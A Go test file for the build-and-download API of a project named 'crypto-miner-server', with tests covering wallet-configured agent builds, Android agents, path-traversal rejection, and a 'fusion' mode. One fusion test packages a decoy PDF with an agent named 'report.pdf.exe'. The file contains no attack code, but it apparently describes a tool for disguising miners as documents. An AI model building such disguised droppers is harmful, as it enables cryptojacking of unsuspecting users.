package builder

import (
	"bytes"
	"context"
	"encoding/json"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
)

func TestServeHTTPMultipartParseError(t *testing.T) {
	h := &Handler{}
	// Boundary mismatch triggers ParseMultipartForm error.
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("not-multipart"))
	req.Header.Set("Content-Type", "multipart/form-data; boundary=----BOUND")
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeHTTPMultipartMissingConfig(t *testing.T) {
	h := &Handler{}
	body := &bytes.Buffer{}
	w := multipart.NewWriter(body)
	w.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
	req.Header.Set("Content-Type", w.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
	}
}

func TestServeHTTPMultipartFusionMissingPrep(t *testing.T) {
	h := &Handler{}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
	})
	_ = mw.WriteField("config", string(cfg))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeEstimateMultipartSuccess(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
	})
	_ = mw.WriteField("config", string(cfg))
	part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
	_, _ = part.Write([]byte("%PDF"))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
	}
	var est FusionEstimateResponse
	if err := json.NewDecoder(rec.Body).Decode(&est); err != nil {
		t.Fatal(err)
	}
	if est.EstimatedTotalBytes <= 0 {
		t.Fatalf("expected positive estimate: %+v", est)
	}
}

func TestServeEstimateFusionDisabled(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc",
	})
	_ = mw.WriteField("config", string(cfg))
	part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
	_, _ = part.Write([]byte("x"))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "bid-2")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
		t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
	}
}

func TestDownloadBuildSuccess(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	artifact := filepath.Join(dataDir, "builds", "bid-1", "worker.exe")
	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "bid-1", FilePath: artifact, FileName: "worker.exe", CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-1/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "bid-1")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildNotFound(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	h := &Handler{db: database, dataDir: t.TempDir()}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/missing/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "missing")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildArtifactInBuildDir(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	buildID := "art-1"
	zipName := "bundle.zip"
	zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
	if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(zipPath, []byte("zip"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", buildID)
	rctx.URLParams.Add("name", zipName)
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildArtifactInvalidName(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	h := &Handler{db: database, dataDir: t.TempDir()}
	if err := database.InsertBuild(&models.BuildRecord{ID: "x", CreatedAt: time.Now()}); err != nil {
		t.Fatal(err)
	}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/x/artifact/evil", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "x")
	rctx.URLParams.Add("name", "../evil.zip")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadUninstallMissing(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	artifact := filepath.Join(dataDir, "builds", "u1", "worker.exe")
	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(artifact, []byte("x"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "u1", WorkerName: "pc", FilePath: artifact, CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/u1/uninstall", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "u1")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadUninstall(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestBuildAgentSinglePlatformCompileFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)
	req := &BuildRequest{
		TargetOS:   "windows",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
	}
	resp, code, _ := h.buildAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected compile error: code=%d %+v", code, resp)
	}
}

func TestBuildAgentUniversalDelegatesCompileFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)
	req := &BuildRequest{
		TargetOS:   "universal",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
	}
	resp, code, _ := h.buildAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("universal build should fail compile: code=%d %+v", code, resp)
	}
	if !strings.Contains(resp.Error, "compile") && resp.Error == "" {
		t.Fatalf("expected compile-related error: %q", resp.Error)
	}
}

func TestCopyAgentSourceFromWorkspace(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	dest := t.TempDir()
	if err := h.copyAgentSource(dest); err != nil {
		t.Fatal(err)
	}
	if _, err := os.Stat(filepath.Join(dest, "main.go")); err != nil {
		t.Fatalf("main.go not copied: %v", err)
	}
	if _, err := os.Stat(filepath.Join(dest, "config", "builtin.go")); err == nil {
		t.Fatal("builtin.go should be skipped during copy")
	}
}

func TestDownloadBuildArtifactTraversalVariants(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	buildID := "trav-1"
	if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
	cases := []string{"../evil.zip", "..", "foo/../../secret.zip", `..\windows\system32`}
	for _, name := range cases {
		req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+name, nil)
		rctx := chi.NewRouteContext()
		rctx.URLParams.Add("id", buildID)
		rctx.URLParams.Add("name", name)
		req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
		rec := httptest.NewRecorder()
		h.DownloadBuildArtifact(rec, req)
		if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
			t.Fatalf("name=%q status=%d want 400 or 404", name, rec.Code)
		}
	}
}

func TestDownloadBuildArtifactFusionBundleInBuildDir(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	buildID := "fusion-art"
	zipName := "report-package.zip"
	zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
	if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
		t.Fatal(err)
	}
	content := []byte("fusion-zip-payload")
	if err := os.WriteFile(zipPath, content, 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: buildID, FileName: "report.pdf.exe", Platform: "windows",
		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/" + zipName,
		CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", buildID)
	rctx.URLParams.Add("name", zipName)
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
	}
	if rec.Body.String() != string(content) {
		t.Fatalf("body mismatch")
	}
	if !strings.Contains(rec.Header().Get("Content-Disposition"), zipName) {
		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
	}
}

func TestDownloadBuildArtifactAPK(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	buildID := "apk-dl-1"
	apkName := "agent-tablet.apk"
	apkPath := filepath.Join(dataDir, "builds", buildID, apkName)
	if err := os.MkdirAll(filepath.Dir(apkPath), 0755); err != nil {
		t.Fatal(err)
	}
	apkContent := []byte("PK\x03\x04fake-apk")
	if err := os.WriteFile(apkPath, apkContent, 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: buildID, FileName: apkName, FilePath: apkPath, Platform: "android", CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}

	// Primary build download route
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", buildID)
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("download status=%d", rec.Code)
	}
	if rec.Body.String() != string(apkContent) {
		t.Fatalf("apk download body mismatch")
	}
	if !strings.Contains(rec.Header().Get("Content-Disposition"), apkName) {
		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
	}

	// Named artifact route (same file in build dir)
	req2 := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+apkName, nil)
	rctx2 := chi.NewRouteContext()
	rctx2.URLParams.Add("id", buildID)
	rctx2.URLParams.Add("name", apkName)
	req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx2))
	rec2 := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec2, req2)
	if rec2.Code != http.StatusOK {
		t.Fatalf("artifact status=%d", rec2.Code)
	}
}

func TestWriteApkConfigJSONFilePermissions(t *testing.T) {
	if runtime.GOOS == "windows" {
		t.Skip("Windows umask maps 0644 writes to 0666 — POSIX perm bits checked on Linux CI")
	}
	h, database := testHandlerDB(t)
	t.Cleanup(func() { _ = database.Close() })
	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		t.Fatal(err)
	}
	req := &BuildRequest{WorkerName: "perm-tab", ServerURL: "http://10.0.0.3:8989", MiningDisabled: true}
	if err := h.writeApkConfigJSON(req, "perm-build"); err != nil {
		t.Fatal(err)
	}
	cfgPath := filepath.Join(assetsDir, "config.json")
	info, err := os.Stat(cfgPath)
	if err != nil {
		t.Fatal(err)
	}
	if info.Mode().Perm() != 0644 {
		t.Fatalf("config.json perm=%o want 0644", info.Mode().Perm())
	}
	dirInfo, err := os.Stat(assetsDir)
	if err != nil {
		t.Fatal(err)
	}
	if dirInfo.Mode().Perm()&0777 != 0755 {
		t.Fatalf("assets dir perm=%o want 0755", dirInfo.Mode().Perm()&0777)
	}
}

func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
	h := &Handler{dataDir: t.TempDir()}
	_, _, err := h.saveUploadedFusionPayload(nil, nil)
	if err == nil || !strings.Contains(err.Error(), "missing") {
		t.Fatalf("expected missing header error, got %v", err)
	}
}